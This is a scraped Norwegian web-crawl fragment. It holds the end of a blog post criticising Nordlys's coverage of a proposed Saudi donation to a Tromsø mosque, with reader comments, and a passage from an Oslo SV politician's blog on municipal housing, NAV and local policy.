ikke kan vite om det er \"islamske fundamentalister som vil sponse en ny og prangende mosk\u00e9 i byen\" - for giveren er anonym\\! Avisen kan bare *anta* dette, p\u00e5 bakgrunn av at giveren skal v\u00e6re fra Saudi-Arabia. Det neste som fanger min interesse er ordet *b\u00f8r*. Dette er ogs\u00e5 subjektivt, samtidig som det er et moraliserende ord. At man sier at noen b\u00f8r gj\u00f8re noe, kan ikke anses som noe annet enn en agenda (som Nordlys p\u00e5st\u00e5r de ikke har) - man vil at noen andre skal gj\u00f8re noe bestemt. Og hvorfor synes Nordlys at vi b\u00f8r interessere oss for dette? Jeg kan vanskelig se at det er noen annen grunn enn at avisen mener at sponsing fra \"islamske fundamentalister\"/saudi-arabiere utgj\u00f8r en betydelig trussel. Og for at det skal utgj\u00f8re en trussel, m\u00e5 det antas at pengegaver fra saudi-arabiere aldri kommer uten betydelig press p\u00e5 kj\u00f8pet, samt at muslimene som mottar midlene til mosk\u00e9byggingen m\u00e5 forst\u00e5s som \u00e5 v\u00e6re kj\u00f8pbare, at de er for svake og naive til \u00e5 st\u00e5 imot et eventuelt press (Sandra Maryam Moe uttalte til avisen at hun ikke ville avvise pengest\u00f8tte p\u00e5 bakgrunn av generalisering av saudi-arabere, og ble dermed stemplet som naiv). Det f\u00f8les da selvmotsigende at Nordlys samtidig sier at \"\\[v\\]i tror ikke muslimer flest \u00f8nsker radikalisering\", men jeg synes dette understreker at trusselantagelsen ikke kan hvile p\u00e5 noe annet enn antagelsen om at noen muslimer *ikke* er en del av denne gruppen som ikke \u00f8nsker radikalisering. Og i dette tilfellet er det ledelsen i Alnormosk\u00e9en som fremstilles som sistnevnte, da de ikke kategorisk avviser pengegaven.  \n  \nResten av lederteksten er en understreking av trusselbildet, og en fremstilling av av trusselbildet visstnok er meget stort: \"Det er viktig at muslimene i Troms\u00f8 tar et oppgj\u00f8r med radikal islam, men det er like viktig at resten av befolkningen er p\u00e5 vakt.\" For man trenger hverken \u00e5 ta oppgj\u00f8r med, eller v\u00e6re p\u00e5 vakt ovenfor, noe som ikke utgj\u00f8r en s\u00e6rlig trussel. Bildet man sitter igjen med er at faren for radikalisering er overhengende i Troms\u00f8, og at man b\u00f8r se seg ofte over skulderen. Dette skaper, p\u00e5 lik linje med terroristfremstillingen av Wenham, et bilde av troms\u00f8muslimer som farlige. For er det saudi-arabere vi skal passe oss for? Nei, vi skal passe oss for troms\u00f8muslimer som kanskje kan bli som saudi-arabere. Som i artikkelen om Wenhams fortid brukes ogs\u00e5 her et snedig grep: man forteller om noe som har skjedd i Oslo - \"s\u00e5 seint som i helga ble muslimer skremt fra \u00e5 komme p\u00e5 dialogm\u00f8te om religi\u00f8s terrorisme i Oslo med trusler om \u00e5 bli stemplet som vantro\" - slik at dette skremmende bildet blir overf\u00f8rt p\u00e5 troms\u00f8muslimer. Muslimer i Troms\u00f8 blir p\u00e5 denne m\u00e5ten ansvarliggjort for hendelser i Oslo, men er det riktig? Har troms\u00f8muslimer hatt noenting med dette \u00e5 gj\u00f8re? Skal de ansvarliggj\u00f8res kun fordi de deler religion med de ansvarlige i Oslo? I Nordlys sin mening skal de visst det.\n\n  \nNordlys fremstiller seg selv som dialogfremmere og samfunnets voktere. Som leserinnleggene i avisen og kommentarfeltene p\u00e5 nordlys.no viser, har det ikke blitt noen dialog, men mange er blitt sinte p\u00e5 avisen, og mange benytter anledningen til \u00e5 si det styggeste de kan finne p\u00e5 om muslimer. Og er Nordlys samfunnets vokter, som de p\u00e5beroper seg? For meg ser det ut som om de selv har konstruert en trussel for \u00e5 ha noe \u00e5 vokte mot.\n\n     \n#### 4 kommentarer:\n\n \n\nJ. Agovic-Nordaas sa...\n\nDet er sjelden at jeg anser et innlegg som rasjonelt og godt poengtert, men denne gangen gj\u00f8r jeg et unntak: dette er et meget velpoengtert innlegg med flere rasjonelle argumenter som setter frem i lyset den d\u00e5rlige journalistikken som Nordlys har praktisert i det siste i forbindelse med denne saken.  \n  \nSelvsagt erkjenner ikke Nordlys at de har fremmet en type journalistikk som er moraliserende, fordomsfull og uten generell kunnskap i dette tilfelle. Det hadde v\u00e6rt et stort nederlag for dem \u00e5 innr\u00f8mme at deres ansatte ikke har anelse hva de skriver om i dette tilfelle. Det \u00e5 spille p\u00e5 folkets frykt har alltid v\u00e6rt en god salgsstrategi for medier, det har vi sett alt for mange ganger gjennom historie. For eksempel; hadde ikke medier spilt det samme spillet i samsvar med nasjonalistiske politikere i det tidligere Jugoslavia, s\u00e5 hadde vi ikke opplevd en krig p\u00e5 Balkan p\u00e5 1990-tallet. I dagens postmoderne verden er det mer viktig \u00e5 tjene noen ekstra penger p\u00e5 salg av d\u00e5rlig og misvisende journalistikk enn \u00e5 formidle sannheten, fordi sannheten ikke selger like godt hver gang.  \n  \nJo mer vi problematiserer et ikke-eksisterende problem (i dette tilfelle en ikke-v\u00e6rende radikalisering av det muslimske milj\u00f8et i Troms\u00f8), jo mer bidrar vi til at problemet dukker opp til slutt. Jo mer vi generaliser muslimer her i Norge, og i resten av verden, og likestiller dem med noen f\u00e5 \"r\u00e5tne epler\", jo mer skyver vi moderate muslimer i radikalisering. Likes\u00e5 gjelder det for islam som religion: hvis vi definerer hele islam p\u00e5 basis av noen radikale tolkninger, representert av mennesker som har politiske og ikke religi\u00f8se preferanser slik som terror organisasjon al-Qaida, s\u00e5 opptrer vi irrasjonelt og meget generaliserende.  \n  \nPersonlig mener jeg at mennesker som ikke har villeste aning hva islam handler om, b\u00f8r egentlig ikke v\u00e6re med i diskursen som omhandler islam. Men det ser ut som at vi som tilh\u00f8rer den vestlige kulturen m\u00e5 ha en fiende til en hver tid; for ikke s\u00e5 lenge siden var det j\u00f8dedommen som var den store \"stygge\" ulven, etterfulgt av kommunismen og den \"stygge\" naboen i \u00f8st ved navn Sovjetunion under kaldkrigen, mens i dag er det muslimer og islam som f\u00e5r gjennomg\u00e5. Ved alle de andre tilfeller har det vist seg at vi tok feil, og at v\u00e5r frykt var ubegrunnet (j\u00f8der hadde ikke planer om ta hele verden, og det forel\u00e5 ingen planer fra Sovjet om \u00e5 invadere Norge eller andre deler av den vestlige sf\u00e6ren) dermed utelukker ikke jeg at vi tar feil denne gangen ogs\u00e5.  \n  \n  \nJeg er glad for hver gang noen med akademisk bakgrunn uttaler seg om slike saker, ikke bare fordi jeg tilh\u00f8rer det samme milj\u00f8et, men fordi da f\u00e5r samfunnet en rasjonell diskurs, istedenfor en \"hau\" med synsing, str\u00e5mannsargumenter, og fordommer fra folk som egentlig ikke har peiling hva de snakker om, men vil gjerne fremst\u00e5 som meget reflekterte.\n\n 20. oktober 2010 kl. 14:25    \n\n \n\n\\*klapp klapp\\*\n\n 21. oktober 2010 kl. 01:13    \n\n \n\nJ. Agovic-Nordaas sa...\n\nDet er sjelden at jeg anser et innlegg som rasjonelt og godt poengtert, men denne gangen gj\u00f8r jeg et unntak: dette er et meget velpoengtert innlegg med flere rasjonelle argumenter som setter frem i lyset den d\u00e5rlige journalistikken som Nordlys har praktisert i det siste i forbindelse med denne saken.  \n  \nSelvsagt erkjenner ikke Nordlys at de har fremmet en type journalistikk som er moraliserende, fordomsfull og uten generell kunnskap i dette tilfelle. Det hadde v\u00e6rt et stort nederlag for dem \u00e5 innr\u00f8mme at deres ansatte ikke har anelse hva de skriver om i dette tilfelle. Det \u00e5 spille p\u00e5 folkets frykt har alltid v\u00e6rt en god salgsstrategi for medier, det har vi sett alt for mange ganger gjennom historie. For eksempel; hadde ikke medier spilt det samme spillet i samsvar med nasjonalistiske politikere i det tidligere Jugoslavia, s\u00e5 hadde vi ikke opplevd en krig p\u00e5 Balkan p\u00e5 1990-tallet. I dagens postmoderne verden er det mer viktig \u00e5 tjene noen ekstra penger p\u00e5 salg av d\u00e5rlig og misvisende journalistikk enn \u00e5 formidle sannheten, fordi sannheten ikke selger like godt hver gang.  \n  \nJo mer vi problematiserer et ikke-eksisterende problem (i dette tilfelle en ikke-v\u00e6rende radikalisering av det muslimske milj\u00f8et i Troms\u00f8), jo mer bidrar vi til at problemet dukker opp til slutt. Jo mer vi generaliser muslimer her i Norge, og i resten av verden, og likestiller dem med noen f\u00e5 \"r\u00e5tne epler\", jo mer skyver vi moderate muslimer i radikalisering. Likes\u00e5 gjelder det for islam som religion: hvis vi definerer hele islam p\u00e5 basis av noen radikale tolkninger, representert av mennesker som har politiske og ikke religi\u00f8se preferanser slik som terror organisasjon al-Qaida, s\u00e5 opptrer vi irrasjonelt og meget generaliserende.  \n  \nPersonlig mener jeg at mennesker som ikke har villeste aning hva islam handler om, b\u00f8r egentlig ikke v\u00e6re med i diskursen som omhandler islam. Men det ser ut som at vi som tilh\u00f8rer den vestlige kulturen m\u00e5 ha en fiende til en hver tid; for ikke s\u00e5 lenge siden var det j\u00f8dedommen som var den store \"stygge\" ulven, etterfulgt av kommunismen og den \"stygge\" naboen i \u00f8st ved navn Sovjetunion under kaldkrigen, mens i dag er det muslimer og islam som f\u00e5r gjennomg\u00e5. Ved alle de andre tilfeller har det vist seg at vi tok feil, og at v\u00e5r frykt var ubegrunnet (j\u00f8der hadde ikke planer om ta hele verden, og det forel\u00e5 ingen planer fra Sovjet om \u00e5 invadere Norge eller andre deler av den vestlige sf\u00e6ren) dermed utelukker ikke jeg at vi tar feil denne gangen ogs\u00e5.  \n  \n  \nJeg er glad for hver gang noen med akademisk bakgrunn uttaler seg om slike saker, ikke bare fordi jeg tilh\u00f8rer det samme milj\u00f8et, men fordi da f\u00e5r en rasjonell diskurs, istedenfor en \"hau\" med synsing, str\u00e5mannsargumenter, og fordommer fra folk som egentlig ikke har peiling hva de snakker om, men vil gjerne fremst\u00e5 som meget reflekterte.\n\n 21. oktober 2010 kl. 07:44    \n\n \n\nSuzanne Thobro sa...\n\nTil J. Agovic-Nordaas.  \n  \nKommentarer din var av en eller annen grunn ikke blitt publisert, noe jeg ikke s\u00e5 f\u00f8r n\u00e5. Tusen takk for en lang og god kommentar\\!\n\n 10. november 2010 kl. 10:24    \n\n## Suzanne Anett Thobro\n\n  \n\n", "language": "no", "__index_level_0__": "7de8b55a-97a2-40e9-8188-8788ce3fd3fb"}
{"url": "http://www.ivarjohansen.no/temaer/sosialpolitikk.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:33:55Z", "text": "# Sosialpolitikk\n\n## Kommunale utleieboliger: En fattigdomsfelle\n\n    Publisert torsdag 08. mars 2018 05:40\n\n\nI g\u00e5r uttalte jeg meg til Dagsavisen om kommunale utleieboliger i Oslo. Dagsavisen skriver bl.a.\n\n\"Ivar Johansen og SV er opptatt av \u00e5 utjevne sosiale forskjeller, og \u00f8nsker stabile bomilj\u00f8er, hvor det er en blanding av leide og eide leiligheter.\n\nDe fleste av de kommunale boligene i Oslo er samlet i store blokker og g\u00e5rder.\u00a0 \u2013 Vi m\u00e5 forhindre opphopning av sosiale problemer. Mange av dem som leier bor bare i leiligheten i kort tid, og engasjerer seg lite i n\u00e6rmilj\u00f8et av den grunn, sier han.\n\n\u2013 Mange av dem som bor i kommunale boliger, bor i en fattigdomsfelle. Hvis inntekter \u00f8ker, risikerer de \u00e5 miste b\u00e5de bolig og bost\u00f8tte. Det kan svekke motivasjonen for \u00e5 jobbe seg ut av fattigdommen. Markedet bestemmer husleien, som er altfor h\u00f8y. Mange kan ikke betale den leien kommunen krever, og m\u00e5 f\u00e5 sosialst\u00f8tte for \u00e5 greie utgiftene, sier Johansen.\n\nBystyrerepresentant Ivar Johansen (SV) vil at Oslo kommune tar i bruk \u00ableie til eie\u00bb, for \u00e5 f\u00e5 flere inn p\u00e5 boligmarkedet. Fra \u00ableie til eie\u00bb er en metode som kan gi husstander med lave inntekter muligheter for eieretablering. \u2013 Vi har lenge sl\u00e5ss for \u00e5 f\u00e5 til dette, og det er bra at byr\u00e5det n\u00e5 ogs\u00e5 har startet prosessen, sier Johansen.\n\nIvar Johansen ser det ikke som noe problem om kommunen selger en del av sine kommunale leiligheter. \u2013 Det vil g\u00e5 helt fint om fem-ti prosent av leilighetene rullerer. Kommunen selger, og kan kj\u00f8pe nye. P\u00e5 den m\u00e5ten kommer flere seg ut av systemet, og kan greie seg selv, sier SV-politikeren.\"\n\n**Kommentarer:** 5 kommentarer\n    Kategori: Sosialpolitikk\n    Publisert s\u00f8ndag 04. mars 2018 06:57\n\n\n\nMen noen har mer behov for dette enn andre.\n\nI 24 \u00e5r har Johanna Engen bodd i en kommunal utleiebolig p\u00e5 Kampen. 69-\u00e5ringen er minstepensjonist etter et langt liv i lavl\u00f8nnsyrker og som deltidsansatt. De siste fire \u00e5rene har hun bodd i en treromsleilighet p\u00e5 46 kvadratmeter p\u00e5 Brinken.\n\nMen like f\u00f8r jul i 2016 fikk hun varsel om at hun m\u00e5 ut av leiligheten, og over i en annen mindre kommunal leilighet. Grunnen? Johanna er enslig og leiligheten har for mange rom.\n\nJohannas sak satte fokus p\u00e5 et viktig tema: Man tvangsflytter ikke eldre mennesker med varig behov for kommunal utleiebolig rundt i byen, ut fra at noen andre angivelig har behov for boligen. Vi har alle behov for en stabil boligsituasjon, men noen har kanskje mer behov for dette enn andre.\n\nJeg har derfor engasjert meg i at regelverket m\u00e5tte endres. Om som byr\u00e5d p\u00e5 feltet s\u00f8rget Inga Marte Thorkildsen for at instruksen ble endret.\n\nSom byr\u00e5det selv presiserer: **\u00ab**Forskriften peker ut noen grupper med varig behov for kommunal bolig som skal f\u00e5 leieavtaler med lengre varighet. Her er det s\u00e6rlig viktig at bydelene bruker skj\u00f8nn og finner frem til gode l\u00f8sninger sammen med s\u00f8ker, eller den som representerer s\u00f8keren.\n\nI disse sakene b\u00f8r boplan brukes for \u00e5 gi forutsigbarhet om leietid og tydeliggj\u00f8re hva kommunen kan bidra med. For personer over 60 \u00e5r, personer med psykisk utviklingshemming eller andre varige funksjonsnedsettelser og andre personer som ikke anses for noen gang selv \u00e5 kunne fremskaffe egnet bolig som s\u00f8ker om ny leieperiode, skal bydelen legge s\u00e6rskilt vekt p\u00e5 stabilitet, og n\u00e5r helsemessige \u00e5rsaker og sosiale forhold tilsier at en flytting vil v\u00e6re til vesentlig ulempe for beboer, skal en leieperiode p\u00e5 mellom 5 og 10 \u00e5r v\u00e6re det vanlige.\u00bb\n\nKommunale utleieboliger er et saksfelt med proppfullt av utfordringer. Dette er bare en liten flik av dette, men representerer en viktig og riktig endring av betydning for en del s\u00e5rbare mennesker.\n\n**Kommentarer:** 10 kommentarer\n\n    Publisert tirsdag 20. februar 2018 05:46\n\n\n\nHvorfor lykkes noen med \u00e5 f\u00e5 seg jobb og andre ikke? NAV Alna vil finne svarene.\n\n\u2013\u00a0Fordi NAV er et partnerskap mellom stat og kommune sitter vi p\u00e5 mye data, men det kan v\u00e6re vanskelig \u00e5 f\u00e5 tilgang og oversikt over all informasjon, sier Mette Simonsen Vollset fra Nav Alna i Oslo til tidsskriftet Velferd. Vollset er, sammen med kollega Robindra Prabhu fra NAVs Artificial Intelligence-Lab, involvert i et pilotprosjekt som tar for seg datadrevet oppf\u00f8lging i NAV. M\u00e5let med prosjektet er \u00e5 systematisere det NAV faktisk vet, slik at det kan komme brukerne til gode.\n\nI\u00a0et prosjektlokale i Oslo sitter avdelingsleder ved NAV Alna, Mette Simonsen Vollset, og studerer tall sammen med data scientist Robindra Prabhu. Prosjekt \u00abDatadrevet oppf\u00f8lging\u00bb vil pr\u00f8ve \u00e5 finne ut hva det er som gj\u00f8r at noen lykkes med \u00e5 komme i jobb, mens andre blir g\u00e5ende p\u00e5 tiltak etter tiltak. Kobling av store datamengder skal forh\u00e5pentlig gi dem ny innsikt.\n\nVollset regner med at de vil f\u00e5 bekreftet en del av det de allerede tror, men hun forventer ogs\u00e5 noen aha-opplevelser. \u2013 Jeg er veldig nysgjerrig p\u00e5 resultatene, sier hun.\n\nNAV Alna \u00f8nsker blant annet \u00e5 avdekke om manglende grunnleggende ferdigheter er \u00e5rsaken til at arbeidss\u00f8kerne deres blir g\u00e5ende ledig selv om de deltar p\u00e5 tiltak. NAV-kontoret har omkring 5 200 personer i arbeidsdyktig alder som ikke er i jobb. En stor del er innvandrere. Vollsets hypotese er at mange har mangelfull skolegang.\n\n\u2013 N\u00e5r de krysser av for at de har g\u00e5tt p\u00e5 grunnskole, s\u00e5 tenker vi at de har g\u00e5tt alle \u00e5rene. Men de har kanskje bare g\u00e5tt fem, og det var kanskje tre dager i uken p\u00e5 en landsbyskole. Og hvis de ikke har grunnleggende ferdigheter i matematikk og lesing og skriving, er de sjansel\u00f8se n\u00e5r vi setter dem p\u00e5 tiltak som forutsetter fullf\u00f8rt grunnskole. Hypotesen er ikke ny. Vollset jobbet med den allerede i 2015, men n\u00e5 f\u00e5r hun mulighet til \u00e5 f\u00e5 den bekreftet eller avkreftet. Og kanskje dukker det opp andre ting hun ikke var klar over og som vil v\u00e6re viktige bidrag i arbeidet med \u00e5 tilpasse tiltak til m\u00e5lgruppene deres, skriver NAVs nettmagasin.\n\nDette er spennende, samtidig som NAV selv ogs\u00e5 p\u00e5peker noen etiske dilemmaer ved bruk av stordata. Hva tenker du?\n\n## Inger: Jeg opplever meg helt rettsl\u00f8s\n\n    Kategori: Sosialpolitikk\n    Publisert torsdag 15. februar 2018 05:42\n\n\n\nInger skriver i en fortvilet mail til meg:\n\n\"Jeg har f\u00e5tt innvilget vergem\u00e5l mot min vilje.\n\nN\u00e5r jeg tar kontakt med NAV p\u00e5 telefon og ber dem ringe meg tilbake s\u00e5 ringer de til min verge.\n\nJeg f\u00e5r heller ikke viktige brev tilsendt direkte som gjelder meg selv, jeg har blitt m\u00f8tt p\u00e5 en d\u00e5rlig m\u00e5te gjennom lang tid i NAV. Jeg har bedt om m\u00f8ter uten \u00e5 f\u00e5 det, saksbehandler som blir frav\u00e6rende i flere m\u00e5neder, m\u00f8ter som blir avlyst (tre stk etter hverandre, m\u00f8ter folk som skylder p\u00e5 hverandre).\n\nJeg \u00f8nsker \u00e5 klage p\u00e5 dette, og er dessuten reservert mot digital kommunikasjon. Dette \u00f8nsket jeg pga skjevfremstillingen i fremstillingen, men jeg f\u00e5r ikke brev tilsendt direkte. Jeg har f\u00e5tt beskjed om at man ikke kan sende til to adresser, og at jeg m\u00e5 be spesielt om \u00e5 f\u00e5 tilsendt brev.\n\nDa m\u00e5 jeg jo ringe til stadighet for \u00e5 h\u00f8re om det er noe nytt, og n\u00e5r saksbehandlere ikke vil ringe meg tilbake n\u00e5r jeg ber om det s\u00e5 er det veldig vanskelig med \u00e5 komme til med innspill og klage.\n\nVergem\u00e5let og min verge er og klaget inn til Fylkesmannen den 18.12. per brev. Jeg har enn\u00e5 ikke h\u00f8rt noe om videre saksgang og har dessuten f\u00e5tt beskjed om at saksgangen vil g\u00e5 gjennom min verge.\n\nJeg opplever meg helt rettsl\u00f8s.\"\n\nHar andre opplevd tilsvarende? Har noen r\u00e5d og innspill til henne?\n\n## Hagegata 31 \u2013 fortsatt boliger i fellesskapets eie\n\n    Publisert onsdag 14. februar 2018 05:03\n\n\n\nKommunen m\u00e5 stoppe videre salg av boliger.\n\n2013: Over mange \u00e5r har det v\u00e6rt enighet om at en m\u00e5 f\u00e5 en bedre geografisk fordeling av kommunale utleieboliger, og at hele byen m\u00e5 tas i bruk. Det ble mest med prat. For \u00e5 lette tr\u00f8kket p\u00e5 boligomr\u00e5dene p\u00e5 \u00f8stkanten sikret SV gjennom T\u00f8yen-/Munch-avtalen to viktige grep: Kommunen skulle igjen begynne \u00e5 kj\u00f8pe kommunale utleieboliger. I avtalen st\u00e5r det at kommunen skal skaffe til veie netto 600 nye kommunale boliger innen utgangen av 2017, men ingen skulle ligge i indre by \u00f8st. Samtidig vedtok et enstemmig bystyre \u00e5 redusere tr\u00f8kket p\u00e5 T\u00f8yen senter ved \u00e5 selge de to g\u00e5rdene Hagegata 30 og 31.\n\n2017: Tid har g\u00e5tt, en f\u00e5r erfaringer og det kan v\u00e6re endrede behov. Og ikke minst: lokalmilj\u00f8et har andre \u00f8nsker. Og det skal vi lytte til. Bystyret omgjorde derfor vedtaket om salg av Hagegata 30 til Studentsamskipnaden, og \u00f8nsker i stedet at dette skal bli en pilot for nye innovative boformer som svarer til bydelens behov for et variert boligtilbud.\n\n2018: Hagegata 31 best\u00e5r av 60 leiligheter, og 38 av disse er solgt. Herav ble 6 solgt til beboere. De fikk tilbud om \u00e5 kj\u00f8pe til 80 % av markedsverdi. I \u00f8yeblikket er 22 av leilighetene i kommunalt eie via Boligbygg.\n\nJeg og SV mener vi n\u00e5 skal stoppe videre salg i Hagegata 31. Det skjedde sv\u00e6rt lite av boliginnovative prosesser i de 18 \u00e5ra h\u00f8yresida styrte Oslo kommune. I altfor stor grad innebar kommunale utleieboliger omsorgsghettoer. Da vi behandlet kj\u00f8p av OBOS sin utleieportef\u00f8lje fikk jeg en enstemmig finanskomite med meg p\u00e5 \u00e5 understreke betydningen av at man skaper mest mulig variasjon av beboergrupper innenfor den enkelte g\u00e5rd, og at en \u00f8nsket m\u00e5lsetting vil v\u00e6re at maksimalt halvparten av boligene i en g\u00e5rd er ordin\u00e6re kommunale utleieboliger.\n\nVed \u00e5 se de to g\u00e5rdene Hagegata 30 og 31 i sammenheng kan det utvikles spennende innovative boligprosjekter rundt T\u00f8yen Torg. At ogs\u00e5 lokalmilj\u00f8et, representert ved T\u00f8yeninitiativet, T\u00f8yen foreldregruppe og T\u00f8yenkampanjen, \u00f8nsker dette er aldeles utmerket. Se deres henvendelse under \"les mer.\" Jeg har p\u00e5 vegne av SV allerede tatt de n\u00f8dvendige initiativ i R\u00e5dhuset for \u00e5 stoppe videre salg, og har grunn til \u00e5 tro at byr\u00e5det og bystyreflertallet vil g\u00e5 for dette.\n\n    Publisert l\u00f8rdag 10. februar 2018 05:43\n\n\n\nByr\u00e5det sender n\u00e5 fram sak om dette til bystyret. De skriver bl.a.:\n\n\u00abI 2006 vedtok bystyret forskrift om serverings-, salgs- og skjenkebevillinger, Oslo kommune. Forskriften har blant annet bestemmelser om \u00e5pnings- og skjenketid for serverings- og skjenkesteder, samt salgstid for alkohol i butikk. Oslo kommune har ikke tidligere hatt en gjennomg\u00e5ende og helhetlig gjennomgang av forskriften, med unntak av mindre endringer. Byr\u00e5det legger n\u00e5 fram forslag til ny forskrift. Hovedm\u00e5let er at forskriften p\u00e5 best mulig m\u00e5te skal ivareta en levende, mangfoldig og trygg by, med likhet og forutberegnelighet for serverings-, salgs- og skjenkebransjen. Det m\u00e5 s\u00f8rges for at beboere trives, samtidig som at det m\u00e5 satses p\u00e5 et trygt og seri\u00f8st uteliv som fremmer trivsel, Oslos attraktivitet som vertskapsby og for n\u00e6rings- og byutvikling. Forslaget har v\u00e6rt p\u00e5 bred h\u00f8ring.\n\nByr\u00e5det foresl\u00e5r at dagens \u00e5pningstider for skjenkesteder blir videref\u00f8rt med maksimal skjenke- og \u00e5pningstid til kl. 03.00 og 03.30. Det blir videre foresl\u00e5tt \u00e5 opprettholde skjenkestart fra kl. 12.00 p\u00e5 helligdager, 1. - og 17. mai.\n\nI tillegg foresl\u00e5s f\u00f8lgende endringer i \u00e5pningstidsforskriften:\n\n\\- Det gis fri \u00e5pningstid for rene serveringssteder som ikke serverer alkohol\n\n\\- Salgsslutt endres fra kl. 15.00 til kl. 18.00 for p\u00e5ske-, pinse-, jul- og nytt\u00e5rsaften\n\n\\- Dagens begrensninger for musikk p\u00e5 uteserveringer inntas i forskriften\n\n\\- Grensene for sentrum og indre sentrum fastsettes i forskriften\n\n\\- Grensene for sentrum og indre sentrum utvides\n\n\\- Delegasjonen til bydelene om \u00e5 bestemme \u00e5pningstider i egen bydel inntas i forskriften\n\n\\- Vilk\u00e5r om obligatorisk Salutt-kurs (N\u00e6ringsetatens kurs i ansvarlig alkoholh\u00e5ndtering) inntas i forskriften\n\n\\- Behandling av s\u00f8knad om salgs- og skjenkebevilling, dagens \u00a7 4, tas ut av forskriften.\u00bb\n\nForslaget skal n\u00e5 behandles i bystyret. \u00d8nsker du \u00e5 p\u00e5virke? Skriv kommentarer her, eller henvend deg til bystyrets politikere.\n\n## Gatens stemmer: Er du interessert?\n    Publisert torsdag 08. februar 2018 05:55\n\n\n\nJeg skrev forleden dag om \"Gadens stemmer,\" et dansk tiltak. Anne skriver til meg:\n\n\"Dette likte jeg sv\u00e6rt godt \u00e5 lese. Jeg tenker at Norge snart m\u00e5 v\u00e5kne opp av dvalen og gj\u00f8re noe. Hele konseptet er vakkert og viktig. Danskene er langt flinkere til \u00e5 tenke urbant. Det urbane er en \"hipp vare\". Jeg tenker ogs\u00e5 p\u00e5 Berlin og Amsterdam. I Oslo har vi vel og merke L\u00f8kka, men det er vel ogs\u00e5\u00a0en andedam for de med kapital.\n\nJeg kunne sv\u00e6rt gjerne tenke meg \u00e5 bidra i en ressursgruppe som selv lever p\u00e5 sidelinjen av det godt etablerte. Jeg har enn\u00e5 tak over hodet p\u00e5 Oslos beste vestkant (leier), men jeg er bekymret for fremtiden min og faller mer og mer ut pga helse og \u00f8konomi. Jeg trodde jeg var full av ressurser, men n\u00e5r samfunnet ikke klarer \u00e5 tenke annerledes, s\u00e5 faller man ut og f\u00e5r psykiske s\u00e5r det blir tungt \u00e5 leve med, og da g\u00e5r det nedover. N\u00e5r \u00e5rene g\u00e5r, t\u00e6rer det \u00e5 st\u00e5 p\u00e5 utsiden deg i fillebiter. Man mister tro og og h\u00e5p og\u00a0fokus, og lever fra dag til dag. Jeg var med \u00e5 starte =Oslo i 2005 og vet hva mennesker m\u00e5 t\u00e5le av forakt og avvisning, mennesker\u00a0som ofte er sv\u00e6rt begavede og kreative. Samfunnet er ikke smidig nok. Det er for rigid og for effektivt tenkende. Det \u00e5 reflektere; at det kan v\u00e6re sundt at ting tar tid, har visst ikke folk nok kunnskap om lenger.\u00a0Jeg er selv et s\u00e5rt voksent barn, forel\u00f8pig\u00a0pakket inn i noe jeg ikke kan bli tatt p\u00e5.\n\nMan kan ligge\u00a0nede p\u00e5 mange plan. Det betyr ikke at man er ressursl\u00f8s. Det provoserer meg n\u00e5r man definerer mennesker som svake istedenfor s\u00e5rbare. Det er hele holdningen til at vi alle i bunn og grunn er s\u00e5rbare som \u00e5penbart er ute av kurs.\u00a0Den passive trygden jeg mottar fra NAV holder ikke til et godt liv i rike\u00a0Norge. Jeg har alltid skammet meg over \u00e5 motta den, og har pr\u00f8vd iherdig(\\!) \u00e5 komme meg ut av det.\u00a0Kommer det noen uforutsatte regninger, begynner det litt etter litt \u00e5 rakne helt.\u00a0N\u00e5 har det raknet helt.\u00a0Jeg dekker meg bak at jeg er billedkunstner. Men jeg eier ikke snev av stolthet, for samfunnet vet ikke hvordan de skal forfalte kulturell kapital, mm man snakker om fancye nybygg til noen milliarder... Det er i mine \u00f8yne b\u00e5de skammelig og motbydelig. Tenk at Oslo kommune rev huset til Edvard Munch og bygget en parkeringsplass. Har man egentlig ord...\n\nJeg vet at det er en sterkt voksende andel fattige i dette landet.\u00a0Man kan knapt g\u00e5 ut d\u00f8ren f\u00f8r man m\u00e5 \u00e5pne lommeboken. Det skaper ikke et\u00a0inkluderende samfunn. Vi lever i et kaldt land.\u00a0Men jeg vil s\u00e5 gjerne bidra til \u00e5 skape et varmere samfunn. Vi trenger flere \u00e5pne d\u00f8rer og lavterskeltilbud innend\u00f8rs, ogs\u00e5. Arenaer for diskusjon og dialog.\u00a0Ikke flere stengte d\u00f8rer med kode og kort. Og ikke flere steder hvor det st\u00e5r et aksjeselskap klar i baren for \u00e5 melke de som er der. I g\u00e5r satt jeg p\u00e5 Oslo S og tok meg en bolle og kaffe p\u00e5 en benk. Synest at jeg slapp billig unna. Men selv 25 kroner kan v\u00e6re for mye n\u00e5r man ikke har de. 25 kronerstykker med hull i fra en sparegris,\"\u00a0 skriver hun.\n\n    Publisert mandag 05. februar 2018 05:27\n\n\n\nGadens stemmer er et initiativ som formidler guider med bakgrunn som bostedsl\u00f8se i K\u00f8benhavn. Disse tilbyr en tur rundt i byen der de bostedsl\u00f8se selv forteller sin historie og viser steder der de har levet sitt liv p\u00e5 gaten.\n\nDe kan fortelle fra et hardt liv, og om hvordan det g\u00e5r an \u00e5 komme seg videre, og gi en p\u00e5minnelse om at det er viktig \u00e5 h\u00f8re historien fra de \"som har skoene p\u00e5\".\n\nDe presenterer seg selv slik: \"Gadens Stemmer er en social\u00f8konomisk virksomhed, som udbyder byvandringer, kanalrundfarter og foredrag med socialt udsatte borgere, som det ordin\u00e6re arbejdsmarked ikke form\u00e5r at rumme. Vi skaber meningsgivende besk\u00e6ftigelse som guide og foredragsholder med fokus p\u00e5 personlige fort\u00e6llinger fra et liv som socialt udsat og i skyggen af det ordin\u00e6re samfund. Gadens Stemmer arbejder for \u00f8get livskvalitet for guiderne og styrket sammenh\u00e6ngskraft i samfundet via m\u00f8det mellem mennesker.\"\n\nEn tur med Gadens stemmer er et godt alternativ for alle som vil bli bedre kjent med K\u00f8benhavn\\!\n\nEr det noen som kunne tatt opp hansken i Oslo?\n\n## NTL-ansatte i NAV Stat Oslo med tilsvar til \"sjefen\"\n\n    Publisert tirsdag 09. januar 2018 13:17\n\n\n\nNAVs fylkesdirekt\u00f8r for Oslo, Hege Farnes Hildrum, ga onsdag her p\u00e5 bloggen et spark til de ansatte i etaten: \"Jeg kjenner meg ikke igjen i at vi er s\u00e6rskilt rigide, slik det hevdes fra de ansattes organisasjon, NTL,\" skrev hun blant annet.\n\nDe ansattes tillitsvalgte i den statlige del av NAV Oslo gir henne et klart svar, og skriver bl.a: \u00abHar NAV i det hele tatt lov til \u00e5 nekte \u00e5 ta imot dokumenter og s\u00f8knader? V\u00e5r 